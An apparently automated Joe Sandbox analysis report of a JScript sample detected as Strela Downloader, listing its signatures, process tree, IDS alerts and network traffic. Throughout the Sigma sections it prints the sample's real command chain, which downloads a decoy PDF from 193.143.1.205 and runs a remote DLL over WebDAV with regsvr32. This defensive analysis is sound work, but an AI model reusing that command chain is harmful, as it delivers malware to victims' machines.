Edit tour

Windows Analysis Report
27328249893052310101.js

Overview

General Information

Sample name:	27328249893052310101.js
Analysis ID:	1592545
MD5:	4b54bd36db1cab0625ee4c7957823fcf
SHA1:	1be0c8a41061e1147a402ae9cf97fbd89459fb6e
SHA256:	3569edf2b717de8a79898a262714f4b9eb8ce479210d04a695dd70c29ed02443
Tags:	jsuser-lowmal3
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7280 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7368 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7420 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7608 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7852 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8104 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1632,i,4704499646644094334,4201205311762563793,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7624 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7656 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7912 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7280	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7368, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7420, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7368, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7420, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js", ProcessId: 7280, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7656, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, ProcessId: 7368, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, ProcessId: 7368, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, ProcessId: 7368, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, ProcessId: 7368, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, ProcessId: 7368, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js", ProcessId: 7280, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7368, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7420, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7624, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7656, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7912, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7624, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7656, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27328249893052310101.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7280, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17831253157594.dll, ProcessId: 7368, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-16T09:17:00.806668+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-16T09:17:03.564280+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-16T09:17:00.806668+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 27328249893052310101.js	Virustotal: Detection: 13%			Perma Link
Source: 27328249893052310101.js	ReversingLabs: Detection: 13%

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 16 Jan 2025 08:17:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View	IP Address: 23.209.209.135 23.209.209.135
Source: Joe Sandbox View	IP Address: 23.209.209.135 23.209.209.135
